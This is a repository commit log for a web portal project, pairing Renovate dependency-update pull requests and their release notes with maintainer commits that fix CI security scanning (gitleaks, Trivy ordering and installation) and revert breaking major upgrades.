| [@schematics/angular](https://github.com/angular/angular-cli) | devDependencies | patch | [`21.2.9` -> `21.2.10`](https://renovatebot.com/diffs/npm/@schematics%2fangular/21.2.9/21.2.10) |

---

### Release Notes

<details>
<summary>angular/angular-cli (@&#8203;angular-devkit/core)</summary>

### [`v21.2.10`](https://github.com/angular/angular-cli/blob/HEAD/CHANGELOG.md#21210-2026-05-06)

[Compare Source](https://github.com/angular/angular-cli/compare/v21.2.9...v21.2.10)

##### [@&#8203;angular/cli](https://github.com/angular/cli)

| Commit                                                                                              | Type | Description                                                             |
| --------------------------------------------------------------------------------------------------- | ---- | ----------------------------------------------------------------------- |
| [bb8611913](https://github.com/angular/angular-cli/commit/bb861191328fc2d25bd5ee99b0c8edc5e49d3a7d) | fix  | restrict MCP workspace access to allowed client roots during resolution |

<!-- CHANGELOG SPLIT MARKER -->

</details>

<details>
<summary>angular/angular (@&#8203;angular/common)</summary>

### [`v21.2.12`](https://github.com/angular/angular/blob/HEAD/CHANGELOG.md#21212-2026-05-06)

[Compare Source](https://github.com/angular/angular/compare/v21.2.11...v21.2.12)

##### core

| Commit | Type | Description |
| -- | -- | -- |
| [fe13bb669d](https://github.com/angular/angular/commit/fe13bb669d2bfab4713623d17b41c430aa0a61d8) | fix | allow explicit read generic with signal input transforms |
| [3430251fef](https://github.com/angular/angular/commit/3430251fef93f6aec1fa9c7867e85df23f67c9a0) | fix | i18n flags leaking on errors |
| [1aeebbe304](https://github.com/angular/angular/commit/1aeebbe3048b5aa612dd0a5448de9883ed51e7e8) | fix | respect ngSkipHydration on components with projectable nodes in LContainers |
| [9e38ed7d57](https://github.com/angular/angular/commit/9e38ed7d5773a9193ba07afdba3f7a9f2fe02d18) | fix | sanitizer typings |
| [7a05a9a71a](https://github.com/angular/angular/commit/7a05a9a71a5ab75042ec5560c01526de6e61e062) | fix | validate security-sensitive attributes in i18n bindings |
| [c37f6ca42f](https://github.com/angular/angular/commit/c37f6ca42f263353cb9563fa90d7b31d3c7837ca) | fix | visit ng-let expression value in signal migration schematics |

##### forms

| Commit | Type | Description |
| -- | -- | -- |
| [03ad53863b](https://github.com/angular/angular/commit/03ad53863bf3c368f0f02a4322d4141e8f70f674) | fix | prohibit concurrent submits in signal forms |

<!-- CHANGELOG SPLIT MARKER -->

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #47
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-08 00:50:57 +02:00
APF Portal Bot 0d21129bad chore(deps): update dependency vite to v8.0.11 (#46)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m32s
CI / check (push) Successful in 3m1s
CI / a11y (push) Successful in 1m17s
CI / perf (push) Successful in 4m6s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [vite](https://vite.dev) ([source](https://github.com/vitejs/vite/tree/HEAD/packages/vite)) | devDependencies | patch | [`8.0.10` -> `8.0.11`](https://renovatebot.com/diffs/npm/vite/8.0.10/8.0.11) |

---

### Release Notes

<details>
<summary>vitejs/vite (vite)</summary>

### [`v8.0.11`](https://github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small-8011-2026-05-07-small)

[Compare Source](https://github.com/vitejs/vite/compare/v8.0.10...v8.0.11)

##### Features

- update rolldown to 1.0.0-rc.18 ([#&#8203;22360](https://github.com/vitejs/vite/issues/22360)) ([3f80524](https://github.com/vitejs/vite/commit/3f80524aa1fa40bfa831f1a1bf2641c3979ba396))

##### Bug Fixes

- **deps:** update all non-major dependencies ([#&#8203;22334](https://github.com/vitejs/vite/issues/22334)) ([672c962](https://github.com/vitejs/vite/commit/672c96288fd5440bbecddc65551e713edeb8d403))
- **deps:** update all non-major dependencies ([#&#8203;22382](https://github.com/vitejs/vite/issues/22382)) ([5c0cfcb](https://github.com/vitejs/vite/commit/5c0cfcb83dde2c6e25b6c3215dd622956bf29631))
- **glob:** align hmr matcher options with glob enumeration ([#&#8203;22306](https://github.com/vitejs/vite/issues/22306)) ([30028f9](https://github.com/vitejs/vite/commit/30028f94516fa06dd0212567373169b3b3f6e393))
- make separate object instance for each environment ([#&#8203;22276](https://github.com/vitejs/vite/issues/22276)) ([7c2aa3b](https://github.com/vitejs/vite/commit/7c2aa3b40ba00ce1299e4f31932c7929f179a80a))

##### Documentation

- **create-vite:** list react-compiler templates in README ([#&#8203;22347](https://github.com/vitejs/vite/issues/22347)) ([7c3a61f](https://github.com/vitejs/vite/commit/7c3a61f42da6445904e93f0e29e9a2a838fa684a))
- explain mergeConfig skips null/undefined ([#&#8203;22325](https://github.com/vitejs/vite/issues/22325)) ([2151f70](https://github.com/vitejs/vite/commit/2151f701dc98270c905c540b209fb6d23d53d3ad))
- mention native config loader in CLI options ([#&#8203;22348](https://github.com/vitejs/vite/issues/22348)) ([0420c5d](https://github.com/vitejs/vite/commit/0420c5d37b6049476b6e6c16662be372575dd683))
- update evan's x handle ([640202a](https://github.com/vitejs/vite/commit/640202a2167b0c19b94e4d3b8ff87309ae1f44d0))

##### Miscellaneous Chores

- **deps:** update dependency tsdown to ^0.21.10 ([#&#8203;22333](https://github.com/vitejs/vite/issues/22333)) ([3b51e05](https://github.com/vitejs/vite/commit/3b51e050214c5a817c163838ab8643fe34c7d0c3))
- **deps:** update rolldown-related dependencies ([#&#8203;22383](https://github.com/vitejs/vite/issues/22383)) ([555ff36](https://github.com/vitejs/vite/commit/555ff36de70a43b3b3dc22f958bf78fe75e11d67))
- **deps:** update transitive packages to fix npm audit alerts ([#&#8203;22316](https://github.com/vitejs/vite/issues/22316)) ([86aee62](https://github.com/vitejs/vite/commit/86aee6268aa879d74f68a890392c1dee973ebf05))

##### Code Refactoring

- devtools integration ([#&#8203;22312](https://github.com/vitejs/vite/issues/22312)) ([3c8bf06](https://github.com/vitejs/vite/commit/3c8bf064ec76e311f2d8be3a37dcfdcdd4e4253c))
- remove unnecessary async ([#&#8203;22296](https://github.com/vitejs/vite/issues/22296)) ([b31fd35](https://github.com/vitejs/vite/commit/b31fd355d93eb166573362bd09c07745b9f76755))
- show direct path type in bad character warning ([#&#8203;22339](https://github.com/vitejs/vite/issues/22339)) ([0c162e9](https://github.com/vitejs/vite/commit/0c162e96a6545c93808e7338b9adeca2636596fa))

##### Tests

- **create-vite:** use short help alias ([#&#8203;22389](https://github.com/vitejs/vite/issues/22389)) ([994ab66](https://github.com/vitejs/vite/commit/994ab66bc4dc872278d8353d710ffc4bbd881f8d))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/46
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-08 00:34:14 +02:00
julien a0e8e095d0 fix(ci): run scanners before pnpm install to avoid node_modules false positives (#51)
CI / check (push) Successful in 2m26s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m48s
CI / a11y (push) Successful in 1m32s
CI / perf (push) Successful in 3m51s
## Summary
First successful gitleaks run flagged **381 "leaks"** — all inside `node_modules/` and `.pnpm-store/`, populated by the `pnpm install --frozen-lockfile` step that ran earlier in the job. Upstream npm packages routinely embed demo RSA keys / fake API tokens in their READMEs and test fixtures, and gitleaks correctly (by its rules) flags them.

Same class of false-positive Trivy hit in #49 — solved there by `--scanners vuln`. Here, the cleanest solution is **reordering**: run the scanners *before* `pnpm install`, so the working tree contains only our committed source.

- **Trivy** scans `pnpm-lock.yaml` (committed) — doesn't need install.
- **Gitleaks** scans the working tree (`--no-git --source .` in ci.yml) — doesn't need install.
- **pnpm audit** reads `pnpm-lock.yaml` against the advisory DB — also doesn't need install. The install before audit remains for the workspace-integrity sanity check.

The ordering rationale is committed as a comment at the top of each job's `steps:` block, so a future contributor doesn't innocently shuffle the steps and re-flood the gate with FPs.

Same reordering applied to `.gitea/workflows/security-scheduled.yml` for consistency, even though its deep-history gitleaks scan doesn't suffer this issue (`node_modules` is `.gitignore`d from day one — never in history).

## Test plan
- [ ] `scan` job goes green end-to-end on this PR — gitleaks reports 0 leaks (or only real ones from our source, none expected).
- [ ] On `push` to main post-merge, scan stays green.
- [ ] Trigger `security-scheduled` manually before next Monday's cron to verify the same ordering doesn't break the deep scan.

## After this PR
With #43 (TS/ESLint reverts), #45 (Trivy install), #49 (Trivy `--scanners vuln`), #50 (gitleaks install), and now this — every gate of the CI pipeline should be green end-to-end. Phase-1 CI bring-up is then complete and we can move to **A — local infra recipe** (Postgres + Redis + OTel Collector).

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #51
2026-05-08 00:18:56 +02:00
julien 0d27f835c3 fix(ci): replace gitleaks-action with manual install (#50)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m59s
CI / scan (push) Failing after 2m37s
CI / a11y (push) Successful in 1m24s
CI / perf (push) Successful in 3m34s
## Summary
`gitleaks/gitleaks-action@v2` is now paywalled for organisations — the action requires a `GITLEAKS_LICENSE` secret from gitleaks.io (commercial) or it errors out:

​```
🛑 missing gitleaks license. Go grab one at gitleaks.io and store it as a GitHub Secret named GITLEAKS_LICENSE.
​```

Worse, on Gitea it cannot reliably detect personal-vs-org accounts (different API contract), so it defaults to license enforcement and the scan always fails. The **gitleaks binary itself stays MIT-licensed and free** — only the wrapper went commercial.

Mirror the pattern from #45 (Trivy): drop the wrapper, install the binary directly via curl + tar, run the CLI.

## Scope of the PR
The same two broken integrations existed in `.gitea/workflows/security-scheduled.yml` and would have failed silently at next Monday's cron. Fix both files in one PR for consistency.

- **`ci.yml`** — gitleaks step replaced. Per-PR scan uses `--no-git --source .` (working tree only — the scan job uses a shallow checkout anyway).
- **`security-scheduled.yml`** — both gitleaks AND trivy steps replaced; `fetch-depth: 0` added so gitleaks can do its **deep history scan** here (the value-add of the scheduled job over the per-PR gate); `cache: 'pnpm'` dropped from `actions/setup-node` (consistency with #8 — the act_runner cache server is unreachable from job containers).
- `--redact` on both gitleaks invocations so any matched secret is masked in the CI log itself (avoids re-leaking via log artefacts).

## Trade-off
Like Trivy, gitleaks version is now manually pinned. Same comment in the workflow points to releases for bumps.

## Test plan
- [ ] `scan` job goes green end-to-end on this PR (audit ✓, Trivy ✓, gitleaks ✓).
- [ ] `gitleaks version` line in the install step's logs shows `8.21.0`.
- [ ] On `push` to main post-merge, scan stays green.
- [ ] Trigger `security-scheduled` manually (Actions → Run workflow) to verify the deep-history scan path before next Monday's cron fires.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #50
2026-05-08 00:05:16 +02:00
julien 2cc795a9fd fix(ci): restrict Trivy to vulnerability scanner only (#49)
CI / check (push) Successful in 2m54s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m37s
CI / a11y (push) Successful in 1m23s
CI / perf (push) Successful in 3m53s
## Summary
First successful Trivy run (post #45's manual install) came back red on three "secret" findings — all demo RSA private keys embedded in the README / test fixtures of a cryptographic npm package, sitting deep in `.pnpm-store/v10/files/...`. None of them are our secrets.

Two observations:

- The `scan` job already chains `gitleaks/gitleaks-action@v2` right after Trivy. Running two secret scanners over the same tree just doubles the false-positive surface.
- Trivy's own log suggests `--scanners vuln` when secret scanning isn't the focus. And [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md) always framed this step as "dependency vulnerability scan" — singular.

Restrict Trivy to `--scanners vuln`. Result: vuln scan against `pnpm-lock.yaml` complementing `pnpm audit` (which uses the npm advisory DB; Trivy's DB is broader, sources from OSV/GHSA/etc.). Gitleaks stays the single secret-scan source.

No `--skip-dirs` change needed: vuln scanning reads `pnpm-lock.yaml`, not the unpacked store.

## Test plan
- [ ] `scan` job goes green end-to-end on this PR — `pnpm ci:audit` ✓, `Install Trivy` ✓, `Run Trivy` ✓ (no secret findings reported), `gitleaks` ✓.
- [ ] On `push` to main post-merge, scan stays green.
- [ ] Future Trivy bumps (manual, see workflow comment) keep this `--scanners vuln` flag.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #49
2026-05-07 19:09:14 +02:00
julien 6fc26db1b5 fix(ci): restrict Trivy to vulnerability scanner only (#48)
CI / check (push) Successful in 2m36s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m33s
CI / a11y (push) Successful in 1m26s
CI / perf (push) Successful in 3m33s
## Summary
First successful Trivy run (post #45's manual install) came back red on three "secret" findings — all demo RSA private keys embedded in the README / test fixtures of a cryptographic npm package, sitting deep in `.pnpm-store/v10/files/...`. None of them are our secrets.

Two observations:

- The `scan` job already chains `gitleaks/gitleaks-action@v2` right after Trivy. Running two secret scanners over the same tree just doubles the false-positive surface.
- Trivy's own log suggests `--scanners vuln` when secret scanning isn't the focus. And [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md) always framed this step as "dependency vulnerability scan" — singular.

Restrict Trivy to `--scanners vuln`. Result: vuln scan against `pnpm-lock.yaml` complementing `pnpm audit` (which uses the npm advisory DB; Trivy's DB is broader, sources from OSV/GHSA/etc.). Gitleaks stays the single secret-scan source.

No `--skip-dirs` change needed: vuln scanning reads `pnpm-lock.yaml`, not the unpacked store.

## Test plan
- [ ] `scan` job goes green end-to-end on this PR — `pnpm ci:audit` ✓, `Install Trivy` ✓, `Run Trivy` ✓ (no secret findings reported), `gitleaks` ✓.
- [ ] On `push` to main post-merge, scan stays green.
- [ ] Future Trivy bumps (manual, see workflow comment) keep this `--scanners vuln` flag.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #48
2026-05-07 13:18:51 +02:00
julien 57a08c3b71 fix(ci): replace trivy-action with manual curl install (#45)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m45s
CI / scan (push) Failing after 2m59s
CI / a11y (push) Successful in 1m26s
CI / perf (push) Successful in 3m33s
## Summary
PR #44's `GITHUB_TOKEN` env injection didn't actually authenticate the github.com clone. Root cause: `aquasecurity/trivy-action` wraps `actions/checkout`, whose `with.token` input defaults to `${{ github.token }}` (Gitea's auto-token, useless against github.com), and that wins over our env var. The clone keeps hitting the anonymous rate limit.

Rather than fight the action's internals (`INPUT_TOKEN` overrides, `git config insteadOf` injection, etc.), drop it and install Trivy directly via `curl + tar` from the GitHub release artefact.

## Side benefits
- **Version pinned** (`TRIVY_VERSION=0.70.0`) — no more `@master`. Moving-target tags are exactly what bit us in #43 (the TS6 / ESLint10 / webpack-cli7 mess); not adding a new instance of the same anti-pattern.
- **Predictable** — straight curl + tar, no third-party action indirection to debug.
- `GITHUBCOM_TOKEN` passed as Bearer header on the curl — defensive: release artefact downloads are usually unmetered, but auth is free insurance against rate-limit surprises.

## Trade-off
Trivy version bumps become manual. Renovate can't track this pin out of the box. A custom regex manager in `renovate.json` could be added later if the cadence justifies it; for now, manual review of [Trivy releases](https://github.com/aquasecurity/trivy/releases) every few months is acceptable.

## Test plan
- [ ] `scan` job goes green on this PR — both `Install Trivy` and `Run Trivy` steps succeed.
- [ ] `trivy --version` in the install step's logs reports `0.70.0`.
- [ ] No regression on the `pnpm ci:audit` or `gitleaks` sub-steps of `scan`.
- [ ] On `push` to main post-merge, scan stays green.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #45
2026-05-07 00:17:13 +02:00
julien 6153c81602 fix(ci): authenticate trivy-action's github.com clone (#44)
CI / check (push) Successful in 54s
CI / commits (push) Has been skipped
CI / perf (push) Successful in 1m54s
CI / a11y (push) Successful in 57s
CI / scan (push) Failing after 6m23s
## Summary
On cache miss, `aquasecurity/trivy-action@master` falls back to `git clone https://github.com/aquasecurity/trivy` to fetch its install script. Our act_runner cache server is currently unreachable from job containers (documented as "Cache server (deferred)" in `infra/README.md`), so every CI run is a cache miss, every run does the clone, and every clone hits github.com's 60 req/h anonymous rate limit:

Pass `GITHUBCOM_TOKEN` (same zero-scope github.com PAT used for Renovate) as `GITHUB_TOKEN` env on the trivy step. The action picks it up automatically and authenticates the clone, lifting the rate limit from 60 → 5 000 req/h.

## Test plan
- [ ] `scan` job goes green on this PR (the trivy step in particular).
- [ ] On `push` to main post-merge, scan stays green.
- [ ] No regression on the audit / gitleaks sub-steps of `scan`.

## Related
- The deeper fix (re-enabling the act_runner cache server so trivy gets a real cache hit and skips the clone entirely) is tracked as "Cache server (deferred)" in `infra/README.md`. Worth doing eventually; this PR is the surgical fix.
- The `@master` pin on the trivy-action is also worth replacing with a tagged version (`renovate.json` will surface bumps once we lift the major-dashboard gate for it). Out of scope for this PR.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #44
2026-05-06 23:43:19 +02:00
julien f5d3697466 fix(deps): revert TS6/ESLint10/webpack-cli7 majors and gate future majors (#43)
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m25s
CI / a11y (push) Successful in 48s
CI / perf (push) Successful in 3m25s
CI / scan (push) Failing after 7m18s
## Summary
Three Renovate major bumps merged silently because `nx affected` doesn't see deps-only PRs as affecting any project — CI passed trivially, the breakage only surfaced when `nx run-many` was run locally:

- **TypeScript 5→6** (#33) — `tsconfig.lib.json` fails with `TS5101: Option 'baseUrl' is deprecated`. Revert to 5.9.x.
- **ESLint 9→10** (#36) — `@nx/eslint@22.7.1` not compatible: project graph fails with "Unable to find eslint". Revert eslint, `@eslint/js`, `jsonc-eslint-parser`, `eslint-plugin-playwright` to ESLint-9-compatible versions.
- **webpack-cli 5→7** (#34) — webpack-cli 7 removed the `--node-env=production` flag Nx generates. Revert to 5.x.

Bonus side-fix: the `ajv@<8.18.0` override added in #42 was over-broad and was forcing ESLint's bundled ajv to v8 (incompatible with ESLint 9's option contract). Narrow the override to `@angular-devkit/core>ajv@<8.18.0` so only the targeted nestjs-prisma chain is bumped.

## Prevention — gate majors behind the dependency dashboard

Add a Renovate `packageRule` with `dependencyDashboardApproval: true` for `matchUpdateTypes: ["major"]`. Renovate stops auto-creating PRs for majors; they appear as checkboxes in the dashboard issue, and only get a PR after a human ticks the box (presumably after reading the changelog and confirming Nx-plugin / Angular / NestJS readiness).

This is the surgical fix for the gap. The deeper fix (making `nx affected` correctly mark all projects as affected on package.json changes) is a separate investigation worth doing later — but the dashboard gate prevents the same trap regardless.

## Verification
Locally on this branch:
- `pnpm exec nx run-many -t lint test build --parallel=2` → ✓ 8 projects pass.
- `pnpm audit --audit-level=moderate` → 0 vulnerabilities.

## Test plan
- [ ] `check` job goes green on this PR (would have caught the regressions if `nx affected` were broader).
- [ ] After merge, the next Renovate run does not create new PRs for any major (TS, eslint, webpack-cli, etc.).
- [ ] Any pending major in the dashboard issue still appears, but only as a checkbox awaiting approval.

## Out of scope (follow-up)
Investigate why `nx affected` misses package.json-only changes. Likely a missing entry in `nx.json` `namedInputs` (`default`) or `targetDefaults`. Worth its own focused PR; the dashboard gate is the conservative fix in the meantime.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #43
2026-05-06 22:43:35 +02:00
julien 25bfba97cb chore(deps): pin patched transitive deps via pnpm.overrides (#42)
CI / commits (push) Has been skipped
CI / check (push) Failing after 1m48s
CI / perf (push) Failing after 1m59s
CI / a11y (push) Successful in 41s
CI / scan (push) Failing after 7m12s
## Summary
Direct-dep updates from Renovate could not clear the `scan` gate — 20 vulnerabilities (4 high + 13 moderate + 3 low) lived inside transitive chains pinned by upstream tooling:

- `nx > axios` (8× CVEs), `nx > yaml`, `nx > follow-redirects`
- `@nx/devkit > minimatch > brace-expansion`
- `nestjs-prisma > @angular-devkit/core > ajv`
- `@angular/cli > @modelcontextprotocol/sdk > express-rate-limit > ip-address`
- `@lhci/cli > tmp`

Patched versions exist upstream but the parents pin tighter ranges. Renovate cannot help here — `pnpm.overrides` with the **upper-bound** form (`pkg@<x.y.z`) is the right tool: it forces patched resolutions today and self-expires once a parent legitimately reaches the patched version (the override stops matching).

After overrides: `pnpm audit --audit-level=moderate` → **0 vulnerabilities**.

## Bonus fix
Lint-staged was running prettier on `pnpm-lock.yaml` because the glob `*.yaml` matched. Tightened the glob to `!(pnpm-lock).{...,yaml}` so the lockfile stays under pnpm's own formatting authority.

## Test plan
- [ ] `scan` job goes green on this PR.
- [ ] No regression on `check` (lint/test/build).
- [ ] On the next deps-bump commit (any future Renovate PR rebased), the local pre-commit hook does **not** reformat `pnpm-lock.yaml`.

## Out of scope (separate follow-up PRs)
While testing locally, two pre-existing regressions on `main` surfaced (introduced by recent Renovate major bumps that passed CI through `nx affected` reporting "nothing affected"):

- **TypeScript 6 (PR #33)** — `tsconfig.lib.json` → `TS5101: Option 'baseUrl' is deprecated` on every lib build.
- **ESLint 10 (PR #36)** — `@nx/eslint@22.7.1` plugin can't resolve eslint, project graph fails.

Both deserve their own investigation before we move on to phase-2 chantiers.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #42
2026-05-06 21:38:52 +02:00
APF Portal Bot 6545c3a176 chore(deps): update dependency lint-staged to v17 (#41)
CI / commits (push) Has been skipped
CI / check (push) Failing after 1m47s
CI / scan (push) Failing after 1m37s
CI / perf (push) Failing after 1m38s
CI / a11y (push) Successful in 1m11s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [lint-staged](https://github.com/lint-staged/lint-staged) | devDependencies | major | [`^16.4.0` -> `^17.0.0`](https://renovatebot.com/diffs/npm/lint-staged/16.4.0/17.0.2) |

---

### Release Notes

<details>
<summary>lint-staged/lint-staged (lint-staged)</summary>

### [`v17.0.2`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1702)

[Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.1...v17.0.2)

##### Patch Changes

- [#&#8203;1779](https://github.com/lint-staged/lint-staged/pull/1779) [`88670ca`](https://github.com/lint-staged/lint-staged/commit/88670ca2278200f6348ed663358895ddc4bfff3c) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - Enable immutable GitHub releases

### [`v17.0.1`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1701)

[Compare Source](https://github.com/lint-staged/lint-staged/compare/v17.0.0...v17.0.1)

##### Patch Changes

- [#&#8203;1776](https://github.com/lint-staged/lint-staged/pull/1776) [`4a5664b`](https://github.com/lint-staged/lint-staged/commit/4a5664be63af19590ec37940f705dad870ac5cfb) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - Adjust GitHub Actions workflow so that automatic publishing works with signed commits.

### [`v17.0.0`](https://github.com/lint-staged/lint-staged/blob/HEAD/CHANGELOG.md#1700)

[Compare Source](https://github.com/lint-staged/lint-staged/compare/v16.4.0...v17.0.0)

##### Major Changes

- [#&#8203;1745](https://github.com/lint-staged/lint-staged/pull/1745) [`e244adf`](https://github.com/lint-staged/lint-staged/commit/e244adfab430be95803e74b20acf518517054c9f) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - **Node.js v20 is no longer supported, and the oldest supported version is now `22.22.1`**, which is an active LTS version at the time of this release. Node.js 20 will be EOL after April 2026. Please upgrade your Node.js version!

- [#&#8203;1676](https://github.com/lint-staged/lint-staged/pull/1676) [`0584e0b`](https://github.com/lint-staged/lint-staged/commit/0584e0b8824a07ea4d0151f2c17fc37c4905a421) Thanks [@&#8203;outslept](https://github.com/outslept)! - *Lint-staged* now tries to verify the installed Git version is at least `2.32.0`, released in 2021. If you're using an even older Git version, you need to [upgrade](https://git-scm.com/install/mac) it before running *lint-staged*!

- [#&#8203;1745](https://github.com/lint-staged/lint-staged/pull/1745) [`2dcc40a`](https://github.com/lint-staged/lint-staged/commit/2dcc40a1a98aea20d38f76031ac30b278f81682a) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - The dependency `yaml` is now marked as optional and probably won't be installed by default. If you're using a YAML configuration file you should install the package separately:

  ```shell
  npm install --development yaml
  ```

  If you're using `.lintstagedrc` as the config file name (without a file extension), it will be treated as a YAML file. If the content is JSON, consider renaming it to `.lintstagedrc.json` to avoid needing to install `yaml`.

##### Minor Changes

- [#&#8203;1748](https://github.com/lint-staged/lint-staged/pull/1748) [`809d5ef`](https://github.com/lint-staged/lint-staged/commit/809d5ef0a66edb2b26b233d33ce8e14af6c978e7) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - Add new option `--hide-all` for hiding all unstaged changes and untracked files, before running tasks. This makes it easier to run tools like [Knip](https://knip.dev) which check for unused code. Untracked files are included in the backup stash and restored automatically after running.

- [#&#8203;1759](https://github.com/lint-staged/lint-staged/pull/1759) [`f13045a`](https://github.com/lint-staged/lint-staged/commit/f13045a5eae28c3233fc37146b0e1f51739c254b) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - Update dependencies, including [`tinyexec@1.1.1`](https://github.com/tinylibs/tinyexec/releases/tag/1.1.1) to fix the following issues:
  - When using a Node.js version manager with multiple versions installed ([nvm](https://github.com/nvm-sh/nvm), [n](https://github.com/tj/n), for example), scripts with the `#!/usr/bin/env node` shebang ([Prettier](https://github.com/prettier/prettier), [ESLint](https://github.com/eslint/eslint), for example) were previously spawned using the default Node.js version configured by the version manager (the one `which node` points to) on POSIX systems. Now, they will be spawned with the same version that *lint-staged* itself was started with.
    - For example, if your default Node.js version is 24.14.1 but *lint-staged* is run with the latest version 25.9.0, the tasks spawned by *lint-staged* will now also use version 25.9.0. Previously they were spawned using 24.14.1.
  - When installing Node.js from the Ubuntu App Center ([Snap store](https://snapcraft.io/store)), the `node` executable available in `PATH` is a symlink pointing to Snap itself. The sandboxing features of Snap prevented *lint-staged* from spawning scripts with the `#!/usr/bin/env node` shebang, because it meant *lint-staged* tried to spawn Snap via the symlink. This resulted in an `ENOENT` error when trying to run `prettier`, for example. Now, since the real `node` executable's directory is available in the `PATH`, *lint-staged* will instead spawn the script with the real `node` binary succesfully.

- [#&#8203;1761](https://github.com/lint-staged/lint-staged/pull/1761) [`d3251b1`](https://github.com/lint-staged/lint-staged/commit/d3251b192d7116f059e7cabeffa3bfd7788dedeb) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - *Lint-staged* now runs `git update-index --again` after running tasks, instead of `git add <originally staged files>`. This should improve compatibility when using non-default indexes, for example when committing with a pathspec `git commit -m "message" .` instead of adding files to the index.

- [#&#8203;1745](https://github.com/lint-staged/lint-staged/pull/1745) [`a9585ac`](https://github.com/lint-staged/lint-staged/commit/a9585ac7ce0162c5c6c9aa88a28c11c812abedaf) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - Remove `commander` as a dependency and use the built-in `parseArgs` from `node:util` to parse CLI flags.

##### Patch Changes

- [#&#8203;1755](https://github.com/lint-staged/lint-staged/pull/1755) [`c82d30b`](https://github.com/lint-staged/lint-staged/commit/c82d30bda8c80f886bdfead2e7aa123f7337aa76) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - All tests now pass on the [Bun](https://bun.com) runtime (latest).

- [#&#8203;1750](https://github.com/lint-staged/lint-staged/pull/1750) [`a401818`](https://github.com/lint-staged/lint-staged/commit/a4018185016617b02e4473d14e036a5f1a9b3f85) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - Remove manual handling for `git stash --keep-index` resurrecting deleted files, because the issue was fixed in Git `2.23.0` and *lint-staged* requires at least Git `2.32.0`.

- [#&#8203;1771](https://github.com/lint-staged/lint-staged/pull/1771) [`c4b8936`](https://github.com/lint-staged/lint-staged/commit/c4b893665bf39670650ae71b4ec2073025e9984e) Thanks [@&#8203;iiroj](https://github.com/iiroj)! - Fix documentation about multiple config files and the `--cwd` option. When using it, all tasks will be run in the specified directory. For example, to run everything in the actual `process.cwd()`, use `lint-staged --cwd="."`.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
